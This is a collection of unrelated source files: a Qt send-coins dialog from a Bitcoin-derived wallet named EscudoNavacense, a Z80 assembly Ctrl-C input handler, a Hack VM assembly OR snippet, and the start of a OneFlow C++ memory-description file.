ui->labelCoinControlBytes->addAction(clipboardBytesAction);
ui->labelCoinControlLowOutput->addAction(clipboardLowOutputAction);
ui->labelCoinControlChange->addAction(clipboardChangeAction);
// init transaction fee section
QSettings settings;
if (!settings.contains("fFeeSectionMinimized"))
settings.setValue("fFeeSectionMinimized", true);
if (!settings.contains("nFeeRadio") && settings.contains("nTransactionFee") && settings.value("nTransactionFee").toLongLong() > 0) // compatibility
settings.setValue("nFeeRadio", 1); // custom
if (!settings.contains("nFeeRadio"))
settings.setValue("nFeeRadio", 0); // recommended
if (!settings.contains("nSmartFeeSliderPosition"))
settings.setValue("nSmartFeeSliderPosition", 0);
if (!settings.contains("nTransactionFee"))
settings.setValue("nTransactionFee", (qint64)DEFAULT_TRANSACTION_FEE);
if (!settings.contains("fPayOnlyMinFee"))
settings.setValue("fPayOnlyMinFee", false);
ui->groupFee->setId(ui->radioSmartFee, 0);
ui->groupFee->setId(ui->radioCustomFee, 1);
ui->groupFee->button((int)std::max(0, std::min(1, settings.value("nFeeRadio").toInt())))->setChecked(true);
ui->customFee->setValue(settings.value("nTransactionFee").toLongLong());
ui->checkBoxMinimumFee->setChecked(settings.value("fPayOnlyMinFee").toBool());
minimizeFeeSection(settings.value("fFeeSectionMinimized").toBool());
}
void SendCoinsDialog::setClientModel(ClientModel *_clientModel)
{
this->clientModel = _clientModel;
if (_clientModel) {
connect(_clientModel, SIGNAL(numBlocksChanged(int,QDateTime,double,bool)), this, SLOT(updateSmartFeeLabel()));
}
}
void SendCoinsDialog::setModel(WalletModel *_model)
{
this->model = _model;
if(_model && _model->getOptionsModel())
{
for(int i = 0; i < ui->entries->count(); ++i)
{
SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if(entry)
{
entry->setModel(_model);
}
}
setBalance(_model->getBalance(), _model->getUnconfirmedBalance(), _model->getImmatureBalance(),
_model->getWatchBalance(), _model->getWatchUnconfirmedBalance(), _model->getWatchImmatureBalance());
connect(_model, SIGNAL(balanceChanged(CAmount,CAmount,CAmount,CAmount,CAmount,CAmount)), this, SLOT(setBalance(CAmount,CAmount,CAmount,CAmount,CAmount,CAmount)));
connect(_model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit()));
updateDisplayUnit();
// Coin Control
connect(_model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(coinControlUpdateLabels()));
connect(_model->getOptionsModel(), SIGNAL(coinControlFeaturesChanged(bool)), this, SLOT(coinControlFeatureChanged(bool)));
ui->frameCoinControl->setVisible(_model->getOptionsModel()->getCoinControlFeatures());
coinControlUpdateLabels();
// fee section
for (const int n : confTargets) {
ui->confTargetSelector->addItem(tr("%1 (%2 blocks)").arg(GUIUtil::formatNiceTimeOffset(n*Params().GetConsensus().nPowTargetSpacing)).arg(n));
}
connect(ui->confTargetSelector, SIGNAL(currentIndexChanged(int)), this, SLOT(updateSmartFeeLabel()));
connect(ui->confTargetSelector, SIGNAL(currentIndexChanged(int)), this, SLOT(coinControlUpdateLabels()));
connect(ui->groupFee, SIGNAL(buttonClicked(int)), this, SLOT(updateFeeSectionControls()));
connect(ui->groupFee, SIGNAL(buttonClicked(int)), this, SLOT(coinControlUpdateLabels()));
connect(ui->customFee, SIGNAL(valueChanged()), this, SLOT(coinControlUpdateLabels()));
connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(setMinimumFee()));
connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(updateFeeSectionControls()));
connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(coinControlUpdateLabels()));
// EscudoNavacense: Disable RBF
// connect(ui->optInRBF, SIGNAL(stateChanged(int)), this, SLOT(updateSmartFeeLabel()));
// connect(ui->optInRBF, SIGNAL(stateChanged(int)), this, SLOT(coinControlUpdateLabels()));
ui->customFee->setSingleStep(GetRequiredFee(1000));
updateFeeSectionControls();
updateMinFeeLabel();
updateSmartFeeLabel();
// set default rbf checkbox state
// EscudoNavacense: Disable RBF
// ui->optInRBF->setCheckState(Qt::Checked);
// set the smartfee-sliders default value (wallets default conf.target or last stored value)
QSettings settings;
if (settings.value("nSmartFeeSliderPosition").toInt() != 0) {
// migrate nSmartFeeSliderPosition to nConfTarget
// nConfTarget is available since 0.15 (replaced nSmartFeeSliderPosition)
int nConfirmTarget = 25 - settings.value("nSmartFeeSliderPosition").toInt(); // 25 == old slider range
settings.setValue("nConfTarget", nConfirmTarget);
settings.remove("nSmartFeeSliderPosition");
}
if (settings.value("nConfTarget").toInt() == 0)
ui->confTargetSelector->setCurrentIndex(getIndexForConfTarget(model->getDefaultConfirmTarget()));
else
ui->confTargetSelector->setCurrentIndex(getIndexForConfTarget(settings.value("nConfTarget").toInt()));
}
}
SendCoinsDialog::~SendCoinsDialog()
{
QSettings settings;
settings.setValue("fFeeSectionMinimized", fFeeMinimized);
settings.setValue("nFeeRadio", ui->groupFee->checkedId());
settings.setValue("nConfTarget", getConfTargetForIndex(ui->confTargetSelector->currentIndex()));
settings.setValue("nTransactionFee", (qint64)ui->customFee->value());
settings.setValue("fPayOnlyMinFee", ui->checkBoxMinimumFee->isChecked());
delete ui;
}
void SendCoinsDialog::on_sendButton_clicked()
{
if(!model || !model->getOptionsModel())
return;
QList<SendCoinsRecipient> recipients;
bool valid = true;
for(int i = 0; i < ui->entries->count(); ++i)
{
SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if(entry)
{
if(entry->validate())
{
recipients.append(entry->getValue());
}
else
{
valid = false;
}
}
}
if(!valid || recipients.isEmpty())
{
return;
}
fNewRecipientAllowed = false;
WalletModel::UnlockContext ctx(model->requestUnlock());
if(!ctx.isValid())
{
// Unlock wallet was cancelled
fNewRecipientAllowed = true;
return;
}
// prepare transaction for getting txFee earlier
WalletModelTransaction currentTransaction(recipients);
WalletModel::SendCoinsReturn prepareStatus;
// Always use a CCoinControl instance, use the CoinControlDialog instance if CoinControl has been enabled
CCoinControl ctrl;
if (model->getOptionsModel()->getCoinControlFeatures())
ctrl = *CoinControlDialog::coinControl();
updateCoinControlState(ctrl);
prepareStatus = model->prepareTransaction(currentTransaction, ctrl);
// process prepareStatus and on error generate message shown to user
processSendCoinsReturn(prepareStatus,
BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), currentTransaction.getTransactionFee()));
if(prepareStatus.status != WalletModel::OK) {
fNewRecipientAllowed = true;
return;
}
CAmount txFee = currentTransaction.getTransactionFee();
// Format confirmation message
QStringList formatted;
for (const SendCoinsRecipient &rcp : currentTransaction.getRecipients())
{
// generate bold amount string
QString amount = "<b>" + BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), rcp.amount);
amount.append("</b>");
// generate monospace address string
QString address = "<span style='font-family: monospace;'>" + rcp.address;
address.append("</span>");
QString recipientElement;
if (!rcp.paymentRequest.IsInitialized()) // normal payment
{
if(rcp.label.length() > 0) // label with address
{
recipientElement = tr("%1 to %2").arg(amount, GUIUtil::HtmlEscape(rcp.label));
recipientElement.append(QString(" (%1)").arg(address));
}
else // just address
{
recipientElement = tr("%1 to %2").arg(amount, address);
}
}
else if(!rcp.authenticatedMerchant.isEmpty()) // authenticated payment request
{
recipientElement = tr("%1 to %2").arg(amount, GUIUtil::HtmlEscape(rcp.authenticatedMerchant));
}
else // unauthenticated payment request
{
recipientElement = tr("%1 to %2").arg(amount, address);
}
formatted.append(recipientElement);
}
QString questionString = tr("Are you sure you want to send?");
questionString.append("<br /><br />%1");
if(txFee > 0)
{
// append fee string if a fee is required
questionString.append("<hr /><span style='color:#aa0000;'>");
questionString.append(BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), txFee));
questionString.append("</span> ");
questionString.append(tr("added as transaction fee"));
// append transaction size
questionString.append(" (" + QString::number((double)currentTransaction.getTransactionSize() / 1000) + " kB)");
}
// add total amount in all subdivision units
questionString.append("<hr />");
CAmount totalAmount = currentTransaction.getTotalTransactionAmount() + txFee;
QStringList alternativeUnits;
for (BitcoinUnits::Unit u : BitcoinUnits::availableUnits())
{
if(u != model->getOptionsModel()->getDisplayUnit())
alternativeUnits.append(BitcoinUnits::formatHtmlWithUnit(u, totalAmount));
}
questionString.append(tr("Total Amount %1")
.arg(BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), totalAmount)));
questionString.append(QString("<span style='font-size:10pt;font-weight:normal;'><br />(=%1)</span>")
.arg(alternativeUnits.join(" " + tr("or") + "<br />")));
/* EscudoNavacense: Disable RBF
questionString.append("<hr /><span>");
if (ui->optInRBF->isChecked()) {
questionString.append(tr("You can increase the fee later (signals Replace-By-Fee, BIP-125)."));
} else {
questionString.append(tr("Not signalling Replace-By-Fee, BIP-125."));
}
questionString.append("</span>");
*/
SendConfirmationDialog confirmationDialog(tr("Confirm send coins"),
questionString.arg(formatted.join("<br />")), SEND_CONFIRM_DELAY, this);
confirmationDialog.exec();
QMessageBox::StandardButton retval = (QMessageBox::StandardButton)confirmationDialog.result();
if(retval != QMessageBox::Yes)
{
fNewRecipientAllowed = true;
return;
}
// now send the prepared transaction
WalletModel::SendCoinsReturn sendStatus = model->sendCoins(currentTransaction);
// process sendStatus and on error generate message shown to user
processSendCoinsReturn(sendStatus);
if (sendStatus.status == WalletModel::OK)
{
accept();
CoinControlDialog::coinControl()->UnSelectAll();
coinControlUpdateLabels();
}
fNewRecipientAllowed = true;
}
void SendCoinsDialog::clear()
{
// Clear coin control settings
CoinControlDialog::coinControl()->UnSelectAll();
ui->checkBoxCoinControlChange->setChecked(false);
ui->lineEditCoinControlChange->clear();
coinControlUpdateLabels();
// Remove entries until only one left
while(ui->entries->count())
{
ui->entries->takeAt(0)->widget()->deleteLater();
}
addEntry();
updateTabsAndLabels();
}
void SendCoinsDialog::reject()
{
clear();
}
void SendCoinsDialog::accept()
{
clear();
}
SendCoinsEntry *SendCoinsDialog::addEntry()
{
SendCoinsEntry *entry = new SendCoinsEntry(platformStyle, this);
entry->setModel(model);
ui->entries->addWidget(entry);
connect(entry, SIGNAL(removeEntry(SendCoinsEntry*)), this, SLOT(removeEntry(SendCoinsEntry*)));
connect(entry, SIGNAL(useAvailableBalance(SendCoinsEntry*)), this, SLOT(useAvailableBalance(SendCoinsEntry*)));
connect(entry, SIGNAL(payAmountChanged()), this, SLOT(coinControlUpdateLabels()));
connect(entry, SIGNAL(subtractFeeFromAmountChanged()), this, SLOT(coinControlUpdateLabels()));
// Focus the field, so that entry can start immediately
entry->clear();
entry->setFocus();
ui->scrollAreaWidgetContents->resize(ui->scrollAreaWidgetContents->sizeHint());
qApp->processEvents();
QScrollBar* bar = ui->scrollArea->verticalScrollBar();
if(bar)
bar->setSliderPosition(bar->maximum());
updateTabsAndLabels();
return entry;
}
void SendCoinsDialog::updateTabsAndLabels()
{
setupTabChain(0);
coinControlUpdateLabels();
}
void SendCoinsDialog::removeEntry(SendCoinsEntry* entry)
{
entry->hide();
// If the last entry is about to be removed add an empty one
if (ui->entries->count() == 1)
addEntry();
entry->deleteLater();
updateTabsAndLabels();
}
QWidget *SendCoinsDialog::setupTabChain(QWidget *prev)
{
for(int i = 0; i < ui->entries->count(); ++i)
{
SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if(entry)
{
prev = entry->setupTabChain(prev);
}
}
QWidget::setTabOrder(prev, ui->sendButton);
QWidget::setTabOrder(ui->sendButton, ui->clearButton);
QWidget::setTabOrder(ui->clearButton, ui->addButton);
return ui->addButton;
}
void SendCoinsDialog::setAddress(const QString &address)
{
SendCoinsEntry *entry = 0;
// Replace the first entry if it is still unused
if(ui->entries->count() == 1)
{
SendCoinsEntry *first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget());
if(first->isClear())
{
entry = first;
}
}
if(!entry)
{
entry = addEntry();
}
entry->setAddress(address);
}
void SendCoinsDialog::pasteEntry(const SendCoinsRecipient &rv)
{
if(!fNewRecipientAllowed)
return;
SendCoinsEntry *entry = 0;
// Replace the first entry if it is still unused
if(ui->entries->count() == 1)
{
SendCoinsEntry *first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget());
if(first->isClear())
{
entry = first;
}
}
if(!entry)
{
entry = addEntry();
}
entry->setValue(rv);
updateTabsAndLabels();
}
bool SendCoinsDialog::handlePaymentRequest(const SendCoinsRecipient &rv)
{
// Just paste the entry, all pre-checks
// are done in paymentserver.cpp.
pasteEntry(rv);
return true;
}
void SendCoinsDialog::setBalance(const CAmount& balance, const CAmount& unconfirmedBalance, const CAmount& immatureBalance,
const CAmount& watchBalance, const CAmount& watchUnconfirmedBalance, const CAmount& watchImmatureBalance)
{
Q_UNUSED(unconfirmedBalance);
Q_UNUSED(immatureBalance);
Q_UNUSED(watchBalance);
Q_UNUSED(watchUnconfirmedBalance);
Q_UNUSED(watchImmatureBalance);
if(model && model->getOptionsModel())
{
ui->labelBalance->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), balance));
}
}
void SendCoinsDialog::updateDisplayUnit()
{
setBalance(model->getBalance(), 0, 0, 0, 0, 0);
ui->customFee->setDisplayUnit(model->getOptionsModel()->getDisplayUnit());
updateMinFeeLabel();
updateSmartFeeLabel();
}
void SendCoinsDialog::processSendCoinsReturn(const WalletModel::SendCoinsReturn &sendCoinsReturn, const QString &msgArg)
{
QPair<QString, CClientUIInterface::MessageBoxFlags> msgParams;
// Default to a warning message, override if error message is needed
msgParams.second = CClientUIInterface::MSG_WARNING;
// This comment is specific to SendCoinsDialog usage of WalletModel::SendCoinsReturn.
// WalletModel::TransactionCommitFailed is used only in WalletModel::sendCoins()
// all others are used only in WalletModel::prepareTransaction()
switch(sendCoinsReturn.status)
{
case WalletModel::InvalidAddress:
msgParams.first = tr("The recipient address is not valid. Please recheck.");
break;
case WalletModel::InvalidAmount:
msgParams.first = tr("The amount to pay must be larger than 0.");
break;
case WalletModel::AmountExceedsBalance:
msgParams.first = tr("The amount exceeds your balance.");
break;
case WalletModel::AmountWithFeeExceedsBalance:
msgParams.first = tr("The total exceeds your balance when the %1 transaction fee is included.").arg(msgArg);
break;
case WalletModel::DuplicateAddress:
msgParams.first = tr("Duplicate address found: addresses should only be used once each.");
break;
case WalletModel::TransactionCreationFailed:
msgParams.first = tr("Transaction creation failed!");
msgParams.second = CClientUIInterface::MSG_ERROR;
break;
case WalletModel::TransactionCommitFailed:
msgParams.first = tr("The transaction was rejected with the following reason: %1").arg(sendCoinsReturn.reasonCommitFailed);
msgParams.second = CClientUIInterface::MSG_ERROR;
break;
case WalletModel::AbsurdFee:
msgParams.first = tr("A fee higher than %1 is considered an absurdly high fee.").arg(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), maxTxFee));
break;
case WalletModel::PaymentRequestExpired:
msgParams.first = tr("Payment request expired.");
msgParams.second = CClientUIInterface::MSG_ERROR;
break;
// included to prevent a compiler warning.
case WalletModel::OK:
default:
return;
}
Q_EMIT message(tr("Send Coins"), msgParams.first, msgParams.second);
}
void SendCoinsDialog::minimizeFeeSection(bool fMinimize)
{
ui->labelFeeMinimized->setVisible(fMinimize);
ui->buttonChooseFee ->setVisible(fMinimize);
ui->buttonMinimizeFee->setVisible(!fMinimize);
ui->frameFeeSelection->setVisible(!fMinimize);
ui->horizontalLayoutSmartFee->setContentsMargins(0, (fMinimize ? 0 : 6), 0, 0);
fFeeMinimized = fMinimize;
}
void SendCoinsDialog::on_buttonChooseFee_clicked()
{
minimizeFeeSection(false);
}
void SendCoinsDialog::on_buttonMinimizeFee_clicked()
{
updateFeeMinimizedLabel();
minimizeFeeSection(true);
}
void SendCoinsDialog::useAvailableBalance(SendCoinsEntry* entry)
{
// Get CCoinControl instance if CoinControl is enabled or create a new one.
CCoinControl coin_control;
if (model->getOptionsModel()->getCoinControlFeatures()) {
coin_control = *CoinControlDialog::coinControl();
}
// Calculate available amount to send.
CAmount amount = model->getBalance(&coin_control);
for (int i = 0; i < ui->entries->count(); ++i) {
SendCoinsEntry* e = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if (e && !e->isHidden() && e != entry) {
amount -= e->getValue().amount;
}
}
if (amount > 0) {
entry->checkSubtractFeeFromAmount();
entry->setAmount(amount);
} else {
entry->setAmount(0);
}
}
void SendCoinsDialog::setMinimumFee()
{
ui->customFee->setValue(GetRequiredFee(1000));
}
void SendCoinsDialog::updateFeeSectionControls()
{
ui->confTargetSelector ->setEnabled(ui->radioSmartFee->isChecked());
ui->labelSmartFee ->setEnabled(ui->radioSmartFee->isChecked());
ui->labelSmartFee2 ->setEnabled(ui->radioSmartFee->isChecked());
ui->labelSmartFee3 ->setEnabled(ui->radioSmartFee->isChecked());
ui->labelFeeEstimation ->setEnabled(ui->radioSmartFee->isChecked());
ui->checkBoxMinimumFee ->setEnabled(ui->radioCustomFee->isChecked());
ui->labelMinFeeWarning ->setEnabled(ui->radioCustomFee->isChecked());
ui->labelCustomPerKilobyte ->setEnabled(ui->radioCustomFee->isChecked() && !ui->checkBoxMinimumFee->isChecked());
ui->customFee ->setEnabled(ui->radioCustomFee->isChecked() && !ui->checkBoxMinimumFee->isChecked());
}
void SendCoinsDialog::updateFeeMinimizedLabel()
{
if(!model || !model->getOptionsModel())
return;
if (ui->radioSmartFee->isChecked())
ui->labelFeeMinimized->setText(ui->labelSmartFee->text());
else {
ui->labelFeeMinimized->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), ui->customFee->value()) + "/kB");
}
}
void SendCoinsDialog::updateMinFeeLabel()
{
if (model && model->getOptionsModel())
ui->checkBoxMinimumFee->setText(tr("Pay only the required fee of %1").arg(
BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), GetRequiredFee(1000)) + "/kB")
);
}
void SendCoinsDialog::updateCoinControlState(CCoinControl& ctrl)
{
if (ui->radioCustomFee->isChecked()) {
ctrl.m_feerate = CFeeRate(ui->customFee->value());
} else {
ctrl.m_feerate.reset();
}
// Avoid using global defaults when sending money from the GUI
// Either custom fee will be used or if not selected, the confirmation target from dropdown box
ctrl.m_confirm_target = getConfTargetForIndex(ui->confTargetSelector->currentIndex());
// EscudoNavacense: Disabled RBF UI
//ctrl.signalRbf = ui->optInRBF->isChecked();
}
void SendCoinsDialog::updateSmartFeeLabel()
{
if(!model || !model->getOptionsModel())
return;
CCoinControl coin_control;
updateCoinControlState(coin_control);
coin_control.m_feerate.reset(); // Explicitly use only fee estimation rate for smart fee labels
FeeCalculation feeCalc;
CFeeRate feeRate = CFeeRate(GetMinimumFee(1000, coin_control, ::mempool, ::feeEstimator, &feeCalc));
ui->labelSmartFee->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), feeRate.GetFeePerK()) + "/kB");
if (feeCalc.reason == FeeReason::FALLBACK) {
ui->labelSmartFee2->show(); // (Smart fee not initialized yet. This usually takes a few blocks...)
ui->labelFeeEstimation->setText("");
ui->fallbackFeeWarningLabel->setVisible(true);
int lightness = ui->fallbackFeeWarningLabel->palette().color(QPalette::WindowText).lightness();
QColor warning_colour(255 - (lightness / 5), 176 - (lightness / 3), 48 - (lightness / 14));
ui->fallbackFeeWarningLabel->setStyleSheet("QLabel { color: " + warning_colour.name() + "; }");
ui->fallbackFeeWarningLabel->setIndent(QFontMetrics(ui->fallbackFeeWarningLabel->font()).width("x"));
}
else
{
ui->labelSmartFee2->hide();
ui->labelFeeEstimation->setText(tr("Estimated to begin confirmation within %n block(s).", "", feeCalc.returnedTarget));
ui->fallbackFeeWarningLabel->setVisible(false);
}
updateFeeMinimizedLabel();
}
// Coin Control: copy label "Quantity" to clipboard
void SendCoinsDialog::coinControlClipboardQuantity()
{
GUIUtil::setClipboard(ui->labelCoinControlQuantity->text());
}
// Coin Control: copy label "Amount" to clipboard
void SendCoinsDialog::coinControlClipboardAmount()
{
GUIUtil::setClipboard(ui->labelCoinControlAmount->text().left(ui->labelCoinControlAmount->text().indexOf(" ")));
}
// Coin Control: copy label "Fee" to clipboard
void SendCoinsDialog::coinControlClipboardFee()
{
GUIUtil::setClipboard(ui->labelCoinControlFee->text().left(ui->labelCoinControlFee->text().indexOf(" ")).replace(ASYMP_UTF8, ""));
}
// Coin Control: copy label "After fee" to clipboard
void SendCoinsDialog::coinControlClipboardAfterFee()
{
GUIUtil::setClipboard(ui->labelCoinControlAfterFee->text().left(ui->labelCoinControlAfterFee->text().indexOf(" ")).replace(ASYMP_UTF8, ""));
}
// Coin Control: copy label "Bytes" to clipboard
void SendCoinsDialog::coinControlClipboardBytes()
{
GUIUtil::setClipboard(ui->labelCoinControlBytes->text().replace(ASYMP_UTF8, ""));
}
// Coin Control: copy label "Dust" to clipboard
void SendCoinsDialog::coinControlClipboardLowOutput()
{
GUIUtil::setClipboard(ui->labelCoinControlLowOutput->text());
}
// Coin Control: copy label "Change" to clipboard
void SendCoinsDialog::coinControlClipboardChange()
{
GUIUtil::setClipboard(ui->labelCoinControlChange->text().left(ui->labelCoinControlChange->text().indexOf(" ")).replace(ASYMP_UTF8, ""));
}
// Coin Control: settings menu - coin control enabled/disabled by user
void SendCoinsDialog::coinControlFeatureChanged(bool checked)
{
ui->frameCoinControl->setVisible(checked);
if (!checked && model) // coin control features disabled
CoinControlDialog::coinControl()->SetNull();
coinControlUpdateLabels();
}
// Coin Control: button inputs -> show actual coin control dialog
void SendCoinsDialog::coinControlButtonClicked()
{
CoinControlDialog dlg(platformStyle);
dlg.setModel(model);
dlg.exec();
coinControlUpdateLabels();
}
// Coin Control: checkbox custom change address
void SendCoinsDialog::coinControlChangeChecked(int state)
{
if (state == Qt::Unchecked)
{
CoinControlDialog::coinControl()->destChange = CNoDestination();
ui->labelCoinControlChangeLabel->clear();
}
else
// use this to re-validate an already entered address
coinControlChangeEdited(ui->lineEditCoinControlChange->text());
ui->lineEditCoinControlChange->setEnabled((state == Qt::Checked));
}
// Coin Control: custom change address changed
void SendCoinsDialog::coinControlChangeEdited(const QString& text)
{
if (model && model->getAddressTableModel())
{
// Default to no change address until verified
CoinControlDialog::coinControl()->destChange = CNoDestination();
ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:red;}");
const CTxDestination dest = DecodeDestination(text.toStdString());
if (text.isEmpty()) // Nothing entered
{
ui->labelCoinControlChangeLabel->setText("");
}
else if (!IsValidDestination(dest)) // Invalid address
{
ui->labelCoinControlChangeLabel->setText(tr("Warning: Invalid EscudoNavacense address"));
}
else // Valid address
{
if (!model->IsSpendable(dest)) {
ui->labelCoinControlChangeLabel->setText(tr("Warning: Unknown change address"));
// confirmation dialog
QMessageBox::StandardButton btnRetVal = QMessageBox::question(this, tr("Confirm custom change address"), tr("The address you selected for change is not part of this wallet. Any or all funds in your wallet may be sent to this address. Are you sure?"),
QMessageBox::Yes | QMessageBox::Cancel, QMessageBox::Cancel);
if(btnRetVal == QMessageBox::Yes)
CoinControlDialog::coinControl()->destChange = dest;
else
{
ui->lineEditCoinControlChange->setText("");
ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:black;}");
ui->labelCoinControlChangeLabel->setText("");
}
}
else // Known change address
{
ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:black;}");
// Query label
QString associatedLabel = model->getAddressTableModel()->labelForAddress(text);
if (!associatedLabel.isEmpty())
ui->labelCoinControlChangeLabel->setText(associatedLabel);
else
ui->labelCoinControlChangeLabel->setText(tr("(no label)"));
CoinControlDialog::coinControl()->destChange = dest;
}
}
}
}
// Coin Control: update labels
void SendCoinsDialog::coinControlUpdateLabels()
{
if (!model || !model->getOptionsModel())
return;
updateCoinControlState(*CoinControlDialog::coinControl());
// set pay amounts
CoinControlDialog::payAmounts.clear();
CoinControlDialog::fSubtractFeeFromAmount = false;
for(int i = 0; i < ui->entries->count(); ++i)
{
SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if(entry && !entry->isHidden())
{
SendCoinsRecipient rcp = entry->getValue();
CoinControlDialog::payAmounts.append(rcp.amount);
if (rcp.fSubtractFeeFromAmount)
CoinControlDialog::fSubtractFeeFromAmount = true;
}
}
if (CoinControlDialog::coinControl()->HasSelected())
{
// actual coin control calculation
CoinControlDialog::updateLabels(model, this);
// show coin control stats
ui->labelCoinControlAutomaticallySelected->hide();
ui->widgetCoinControl->show();
}
else
{
// hide coin control stats
ui->labelCoinControlAutomaticallySelected->show();
ui->widgetCoinControl->hide();
ui->labelCoinControlInsuffFunds->hide();
}
}
SendConfirmationDialog::SendConfirmationDialog(const QString &title, const QString &text, int _secDelay,
QWidget *parent) :
QMessageBox(QMessageBox::Question, title, text, QMessageBox::Yes | QMessageBox::Cancel, parent), secDelay(_secDelay)
{
setDefaultButton(QMessageBox::Cancel);
yesButton = button(QMessageBox::Yes);
updateYesButton();
connect(&countDownTimer, SIGNAL(timeout()), this, SLOT(countDown()));
}
int SendConfirmationDialog::exec()
{
updateYesButton();
countDownTimer.start(1000);
return QMessageBox::exec();
}
void SendConfirmationDialog::countDown()
{
secDelay--;
updateYesButton();
if(secDelay <= 0)
{
countDownTimer.stop();
}
}
void SendConfirmationDialog::updateYesButton()
{
if(secDelay > 0)
{
yesButton->setEnabled(false);
yesButton->setText(tr("Yes") + " (" + QString::number(secDelay) + ")");
}
else
{
yesButton->setEnabled(true);
yesButton->setText(tr("Yes"));
}
}
|
INCLUDE "config_z80_private.inc"
SECTION code_driver
SECTION code_driver_terminal_input
PUBLIC term_01_input_char_iterm_msg_interrupt
EXTERN asm_exit
term_01_input_char_iterm_msg_interrupt:
; Indicate whether character should interrupt line editing.
;
; enter: c = ascii code
; exit: carry reset indicates line editing should terminate
; can use: af, bc, de, hl
ld a,c
cp CHAR_CTRL_C
scf
ret nz ; continue editing if not ctrl-c
; users expect ctrl-c to terminate the program
; terminating the edit would return with carry reset
ld hl,-1 ; return status
jp asm_exit ; will also close files
|
// or
// load top of stack into D
@SP
AM=M-1
D=M
// dec sp
A=A-1
// or top of stack and D
M=D|M
|
/*
Copyright 2020 The OneFlow Authors. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "oneflow/core/job/session_global_objects_scope.h"
#include "oneflow/core/job/resource_desc.h"
#include "oneflow/core/job/global_for.h"
#include "oneflow/core/control/ctrl_server.h"
#include "oneflow/core/control/global_process_ctx.h"
#include "oneflow/core/job/available_memory_desc.pb.h"
#include "oneflow/core/job/id_manager.h"
#include "oneflow/core/job/job_instance.h"
#include "oneflow/core/job/inter_user_job_info.pb.h"
#include "oneflow/core/job/job_desc.h"
#include "oneflow/core/job/critical_section_desc.h"
#include "oneflow/core/job/job_build_and_infer_ctx_mgr.h"
#include "oneflow/core/job/job_set_compile_ctx.h"
#include "oneflow/core/job/runtime_context.h"
#include "oneflow/core/job/runtime_job_descs.h"
#include "oneflow/core/thread/thread_manager.h"
#include "oneflow/core/memory/memory_allocator.h"
#include "oneflow/core/register/register_manager.h"
#include "oneflow/user/summary/events_writer.h"
#include "oneflow/core/job/runtime_buffer_managers_scope.h"
#include "oneflow/core/framework/load_library.h"
#include "oneflow/core/job/version.h"
#include "oneflow/core/device/node_device_descriptor_manager.h"
#ifdef WITH_CUDA
#include "oneflow/core/device/cuda_device_descriptor.h"
#endif // WITH_CUDA
namespace oneflow {
namespace {
AvailableMemDescOfMachine GetAvailableMemDescOfMachine(int64_t rank) {
AvailableMemDescOfMachine machine_mem_desc;
const auto node_desc =
Global<device::NodeDeviceDescriptorManager>::Get()->GetNodeDeviceDescriptor(rank);
#ifdef WITH_CUDA
const auto cuda_device_list =
node_desc->GetDeviceDescriptorList(device::kCudaDeviceDescriptorClassName);
CHECK(cuda_device_list);
FOR_RANGE(int, i, 0, (Global<ResourceDesc, ForSession>::Get()->GpuDeviceNum())) {
if (i >= cuda_device_list->DeviceCount()) {
LOG(WARNING) << "Invalid CUDA device ordinal: rank " << rank << " ordinal " << i;
machine_mem_desc.add_zone_size(0);
} else {
const auto cuda_device = std::dynamic_pointer_cast<const device::CudaDeviceDescriptor>(
cuda_device_list->GetDevice(i));
CHECK(cuda_device);
machine_mem_desc.add_zone_size(cuda_device->GlobalMemorySizeBytes());
}
}
#endif
machine_mem_desc.add_zone_size(node_desc->HostMemorySizeBytes());
return machine_mem_desc;
}
AvailableMemDesc GetAvailableMemDesc() {
AvailableMemDesc ret;
for (int64_t i : Global<ResourceDesc, ForSession>::Get()->process_ranks()) {
*ret.add_machine_amd() = GetAvailableMemDescOfMachine(i);
}
return ret;
}
AvailableMemDesc GetDryRunAvailableMemDesc() {
AvailableMemDescOfMachine this_machine_mem_desc;
#ifdef WITH_CUDA
FOR_RANGE(int, i, 0, (Global<ResourceDesc, ForSession>::Get()->GpuDeviceNum())) {
this_machine_mem_desc.add_zone_size(std::numeric_limits<size_t>::max());
}
#endif
this_machine_mem_desc.add_zone_size(std::numeric_limits<size_t>::max());
AvailableMemDesc ret;
AvailableMemDescOfMachine machine_amd_i;
for (int64_t i : Global<ResourceDesc, ForSession>::Get()->process_ranks()) {
*ret.add_machine_amd() = this_machine_mem_desc;
}
return ret;
}
} // namespace
SessionGlobalObjectsScope::SessionGlobalObjectsScope() {}
